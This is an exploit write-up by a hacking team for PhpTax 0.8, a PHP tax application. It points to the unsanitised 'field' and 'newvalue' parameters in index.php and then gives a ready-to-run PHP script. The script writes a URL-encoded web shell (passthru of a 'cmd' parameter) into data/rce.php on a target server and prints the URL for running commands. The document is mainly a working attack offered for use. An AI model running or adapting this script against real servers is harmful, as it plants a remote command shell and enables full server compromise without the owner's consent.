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PhpTax 0.8 - File Manipulation(newvalue_field) Remote Code Execution
#
# ,--^----------,--------,-----,-------^--,
# | ||||||||| `--------' | O .. CWH Underground Hacking Team ..
# `+---------------------------^----------|
# `\_,-------, _________________________|
# / XXXXXX /`| /
# / XXXXXX / `\ /
# / XXXXXX /\______(
# / XXXXXX /
# / XXXXXX /
# (________(
# `------'
# Exploit Title : PhpTax File Manipulation(newvalue,field) Remote Code Execution
# Date : 31 May 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://phptax.sourceforge.net/
# Software Link : http://sourceforge.net/projects/phptax/
# Version : 0.8
# Tested on : Window and Linux
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#VULNERABILITY: FILE MANIPULATION TO REMOTE COMMAND EXECUTION
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#index.php
#LINE 32: fwrite fwrite($zz, "$_GET['newvalue']");
#LINE 31: $zz = fopen("./data/$field", "w");
#LINE 2: $field = $_GET['field'];
#####################################################
#DESCRIPTION
#####################################################
#An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
#User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
#An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.
#####################################################
#EXPLOIT
#####################################################
<?php
$options = getopt ( 'u:' );
if(!isset( $options [ 'u' ]))
die( "\n Usage example: php exploit.php -u http://target.com/ \n" );
$url = $options [ 'u' ];
$shell = " { $url } /index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E" ;
$headers = array( 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)' ,
'Content-Type: text/plain' );
echo " [+] Submitting request to: { $options [ 'u' ]} \n" ;
$handle = curl_init ();
curl_setopt ( $handle , CURLOPT_URL , $url );
curl_setopt ( $handle , CURLOPT_HTTPHEADER , $headers );
curl_setopt ( $handle , CURLOPT_RETURNTRANSFER , true );
$source = curl_exec ( $handle );
curl_close ( $handle );
if(! strpos ( $source , 'Undefined variable: HTTP_RAW_POST_DATA' ) && @ fopen ( $shell , 'r' ))
{
echo " [+] Exploit completed successfully!\n" ;
echo " ______________________________________________\n\n { $url } /data/rce.php?cmd=id\n" ;
}
else
{
die( " [+] Exploit was unsuccessful.\n" );
}
?>
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# Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
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